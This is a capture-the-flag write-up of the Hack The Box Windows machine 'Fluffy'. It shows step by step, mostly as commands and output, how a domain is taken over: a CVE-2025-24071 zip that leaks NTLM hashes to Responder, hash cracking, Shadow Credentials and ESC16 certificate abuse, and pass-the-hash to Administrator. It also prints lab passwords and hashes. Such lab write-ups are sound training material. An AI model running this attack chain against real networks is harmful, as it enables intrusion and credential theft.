by 0xW1LD
![]()
As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman / J0elTHEM4n1990!
As usual we start off with an nmap scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
49667/tcp open unknown
49677/tcp open unknown
49681/tcp open unknown
49690/tcp open unknown
49706/tcp open unknown
53309/tcp open unknown
Only interesting port so far is 445 which is Server Message Block (SMB)
Looking around we can find an IT share.
1
2
3
4
5
6
7
8
9
10
[25-05-25 | 05:07:32 AEST] kali@kali ~/htb/fluffy $ smbclient -L fluffy.htb -U j.fleischman%J0elTHEM4n1990!
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
IT Disk
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Let’s connect to the IT share and start digging.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[25-05-25 | 05:07:32 AEST] kali@kali ~/htb/fluffy $ smbclient -L fluffy.htb -U j.fleischman%J0elTHEM4n1990!
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
IT Disk
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to fluffy.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
[25-05-25 | 05:07:49 AEST] kali@kali ~/htb/fluffy $ smbclient //fluffy.htb/it -U j.fleischman%J0elTHEM4n1990!
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun May 25 12:06:35 2025
.. D 0 Sun May 25 12:06:35 2025
Everything-1.4.1.1026.x64 D 0 Sat Apr 19 01:08:44 2025
Everything-1.4.1.1026.x64.zip A 1827464 Sat Apr 19 01:04:05 2025
KeePass-2.58 D 0 Sat Apr 19 01:08:38 2025
KeePass-2.58.zip A 3225346 Sat Apr 19 01:03:17 2025
Upgrade_Notice.pdf A 169963 Sun May 18 00:31:07 2025
5842943 blocks of size 4096. 1401441 blocks available
smb: \>
Let’s start by grabbing the files.
1
2
3
4
5
6
7
smb: \> get Upgrade_Notice.pdf
getting file \Upgrade_Notice.pdf of size 169963 as Upgrade_Notice.pdf (96.3 KiloBytes/sec) (average 96.3 KiloBytes/sec)
smb: \> get KeePass-2.58.zip
getting file \KeePass-2.58.zip of size 3225346 as KeePass-2.58.zip (523.0 KiloBytes/sec) (average 428.1 KiloBytes/sec)
smb: \> get Everything-1.4.1.1026.x64.zip
getting file \Everything-1.4.1.1026.x64.zip of size 1827464 as Everything-1.4.1.1026.x64.zip (597.7 KiloBytes/sec) (average 475.2 KiloBytes/sec)
smb: \>
Looking at the zip files seems a little out of scope given that it’s an easy box.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[25-05-25 | 05:15:43 AEST] kali@kali ~/htb/fluffy $ tree
.
├── Everything
│ ├── Everything-1.4.1.1026.x64.zip
│ ├── everything.exe
│ └── Everything.lng
├── KeePass
│ ├── KeePass-2.58.zip
│ ├── KeePass.chm
│ ├── KeePass.exe
│ ├── KeePass.exe.config
│ ├── KeePassLibC32.dll
│ ├── KeePassLibC64.dll
│ ├── KeePass.XmlSerializers.dll
│ ├── Languages
│ ├── License.txt
│ ├── Plugins
│ ├── ShInstUtil.exe
│ └── XSL
│ ├── KDBX_Common.xsl
│ ├── KDBX_DetailsFull_HTML.xsl
│ ├── KDBX_DetailsLight_HTML.xsl
│ ├── KDBX_PasswordsOnly_TXT.xsl
│ └── KDBX_Tabular_HTML.xsl
Taking a look at the PDF we find it’s a proposal for upgrading security in response to recent vulnerabilities.

We can find the interesting CVE-2025-24071, which is a hash leak via rar file unzip.
A PoC can be found here: https://github.com/0x6rss/CVE-2025-24071_PoC/tree/main
So let’s run Responder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[25-05-25 | 05:22:43 AEST] kali@kali ~/htb/fluffy/CVE-2025-24071_PoC $ sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.5.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
Let’s run the PoC.
1
2
3
4
[25-05-25 | 05:24:21 AEST] kali@kali ~/htb/fluffy/CVE-2025-24071_PoC $ python3 poc.py
Enter your file name: w1ld.zip
Enter IP (EX: 192.168.1.162): 10.10.14.158
completed
After running the PoC we get an exploit.zip file.
1
2
[25-05-25 | 05:25:08 AEST] kali@kali ~/htb/fluffy/CVE-2025-24071_PoC $ ls
exploit.zip poc.py README.md
Let’s use SMB to upload this file onto the IT SMB share.
1
2
smb: \> put CVE-2025-24071_PoC/exploit.zip exploit.zip
putting file CVE-2025-24071_PoC/exploit.zip as \exploit.zip (0.4 kb/s) (average 0.4 kb/s)
We get a connection back on our responder!
1
2
3
[SMB] NTLMv2-SSP Client : 10.129.247.36
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash : p.agila::FLUFFY:baf1834175ab8a8c:004D8C4FD5E9D16BDA393AC7FE63851A:0101000000000000808B34DC15CDDB01755A04A6C0CFCDA500000000020008004F0037003800460001001E00570049004E002D004F00420048003400510052004B00360055005700570004003400570049004E002D004F00420048003400510052004B0036005500570057002E004F003700380046002E004C004F00430041004C00030014004F003700380046002E004C004F00430041004C00050014004F003700380046002E004C004F00430041004C0007000800808B34DC15CDDB0106000400020000000800300030000000000000000100000000200000E4CC5AD4C99B395EABBCE6F6510C9FF8F7078DE669EC3B12310AD12D4ED9DDCF0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100350038000000000000000000
Cracking this NTLM hash on hashcat.
1
[25-05-25 | 05:38:33 AEST] kali@kali ~/htb/fluffy $ hashcat -m 5600 -a 0 p.agila.pem --wordlist /usr/share/wordlists/rockyou.txt
We get the following password for p.agila.
1
P.AGILA::FLUFFY:ae0c592efc05db91:e29b998a1a3a53236c2f220f02a3b635:010100000000000000d59466adccdb01528cc3b886a84e170000000002000800530058004600490001001e00570049004e002d003500550057003200390036004800540046003200430004003400570049004e002d00350055005700320039003600480054004600320043002e0053005800460049002e004c004f00430041004c000300140053005800460049002e004c004f00430041004c000500140053005800460049002e004c004f00430041004c000700080000d59466adccdb01060004000200000008003000300000000000000001000000002000005c33455b9c9a3d4a445da6a560adc838f29ca90683fae7fb72ed389319e314aa0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e0033000000000000000000:prometheusx-303
Looking around with p.agila we can see that we have WRITE on Service Accounts.
1
2
3
4
5
6
7
8
9
10
11
12
[25-05-25 | 05:42:14 AEST] kali@kali ~/htb/fluffy $ bloodyAD --dc-ip 10.129.58.40 -d fluffy.htb -u p.agila -p prometheusx-303 get writable
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=fluffy,DC=htb
permission: WRITE
distinguishedName: CN=Prometheus Agila,CN=Users,DC=fluffy,DC=htb
permission: WRITE
distinguishedName: CN=Service Accounts,CN=Users,DC=fluffy,DC=htb
permission: CREATE_CHILD; WRITE
OWNER: WRITE
DACL: WRITE
Let’s take a look at the members of Service Accounts.
1
2
3
4
5
6
7
8
9
[25-05-25 | 05:47:38 AEST] kali@kali ~/htb/fluffy $ bloodyAD --dc-ip 10.129.58.40 -d fluffy.htb -u p.agila -p prometheusx-303 get search --base "CN=Service Accounts,CN=Users,DC=fluffy,DC=htb"
distinguishedName: CN=Service Accounts,CN=Users,DC=fluffy,DC=htb
cn: Service Accounts
dSCorePropagationData: 2025-04-19 12:38:12+00:00
groupType: -2147483646
instanceType: 4
member: CN=winrm service,CN=Users,DC=fluffy,DC=htb; CN=ldap service,CN=Users,DC=fluffy,DC=htb; CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
<SNIP>
We can find the following members:
winrm servicecertificate authority serviceldap serviceLet’s add ourselves to the group.
1
2
[25-05-25 | 13:29:01 AEST] kali@kali ~/htb/fluffy $ bloodyAD -u 'p.agila' -p 'prometheusx-303' --dc-ip 10.129.58.40 add groupMember 'Service Accounts' 'p.agila'
[+] p.agila added to Service Accounts
Now let’s try and do a Shadow Credential attack against winrm_svc.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
certipy-ad shadow auto -account 'winrm_svc' -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip 10.129.58.40
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '8c92d8ea-345d-e5b8-a589-2d2b96221c24'
[*] Adding Key Credential with device ID '8c92d8ea-345d-e5b8-a589-2d2b96221c24' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID '8c92d8ea-345d-e5b8-a589-2d2b96221c24' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Using principal: winrm_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767
Let’s try winrm.
1
2
3
nxc winrm fluffy.htb -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767
WINRM 10.129.58.40 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb)
WINRM 10.129.58.40 5985 DC01 [+] fluffy.htb\winrm_svc:33bd09dcd697600edf6b3a7af4875767 (Pwn3d!)
Just like that, we have User!
Let’s grab a hash for ca_svc using the same technique as earlier.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
certipy-ad shadow auto -account 'ca_svc' -u 'p.agila@fluffy.htb' -p prometheusx-303 -dc-ip 10.129.247.36
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '6dc9bccb-78f0-7ca6-c928-d33809e98aea'
[*] Adding Key Credential with device ID '6dc9bccb-78f0-7ca6-c928-d33809e98aea' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '6dc9bccb-78f0-7ca6-c928-d33809e98aea' to the Key Credentials for 'ca_svc'
/usr/lib/python3/dist-packages/certipy/lib/certificate.py:233: CryptographyDeprecationWarning: Parsed a serial number which wasn't positive (i.e., it was negative or zero), which is disallowed by RFC 5280. Loading this certificate will cause an exception in a future release of cryptography.
return x509.load_der_x509_certificate(certificate)
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8
Since we know there’s Certificate Services running, let’s enumerate for some certificate templates.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
certipy-ad find -u ca_svc@fluffy.htb -target dc01.fluffy.htb -dc-ip 10.129.246.139 -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -vulnerable
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fluffy-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20250524203447_Certipy.txt'
[*] Wrote text output to '20250524203447_Certipy.txt'
[*] Saving JSON output to '20250524203447_Certipy.json'
[*] Wrote JSON output to '20250524203447_Certipy.json'
Looking in the file Certipy-ad has determined ESC16 is vulnerable for us.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Certificate Authorities
0
CA Name : fluffy-DC01-CA
DNS Name : DC01.fluffy.htb
Certificate Subject : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
Certificate Serial Number : 3670C4A715B864BB497F7CD72119B6F5
Certificate Validity Start : 2025-04-17 16:00:16+00:00
Certificate Validity End : 3024-04-17 16:11:16+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Disabled Extensions : 1.3.6.1.4.1.311.25.2
Permissions
Owner : FLUFFY.HTB\Administrators
Access Rights
ManageCa : FLUFFY.HTB\Domain Admins
FLUFFY.HTB\Enterprise Admins
FLUFFY.HTB\Administrators
ManageCertificates : FLUFFY.HTB\Domain Admins
FLUFFY.HTB\Enterprise Admins
FLUFFY.HTB\Administrators
Enroll : FLUFFY.HTB\Cert Publishers
[!] Vulnerabilities
ESC16 : Security Extension is disabled.
[*] Remarks
ESC16 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Certificate Templates : [!] Could not find any certificate templates
If you’re not getting the ESC in the output, update your certipy
As ESC16 is one of the newer found ESCs more information can be found about it in the Certipy Docs
The TLDR is: Since the Disabled Extensions: 1.3.6.1.4.1.311.25.2 entry exists, every certificate would have the CT_FLAG_NO_SECURITY_EXTENSION which would make every template vulnerable to ESC9.
Before following along, ensure that
p.agilais still in theService Accountsgroup.
First we have to modify ca_svc’s upn to be Administrator.
1
2
3
4
5
6
certipy-ad account update -username 'p.agila@fluffy.htb' -p 'prometheusx-303' -user 'ca_svc' -upn 'Administrator'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : Administrator@fluffy.htb
[*] Successfully updated 'ca_svc'
Next we can request the certificate using the User template.
1
2
3
4
5
6
7
8
9
certipy-ad req -username 'ca_svc' -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -target dc01.fluffy.htb -dc-ip 10.129.247.36 -ca 'FLUFFY-DC01-CA' -template 'User'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 16
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
Now let’s give ca_svc its original UPN back.
1
2
3
4
5
6
certipy-ad account update -username 'p.agila@fluffy.htb' -p 'prometheusx-303' -user 'ca_svc' -upn 'ca_svc'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : ca_svc
[*] Successfully updated 'ca_svc'
And let’s authenticate with the pfx certificate we just grabbed.
1
2
3
4
5
6
7
8
9
certipy-ad auth -pfx administrator.pfx -domain fluffy.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
We can winrm.
1
2
3
4
5
6
7
8
9
10
evil-winrm -i fluffy.htb -u Administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Just like that, we have Root!
tags: os/windows - diff/easy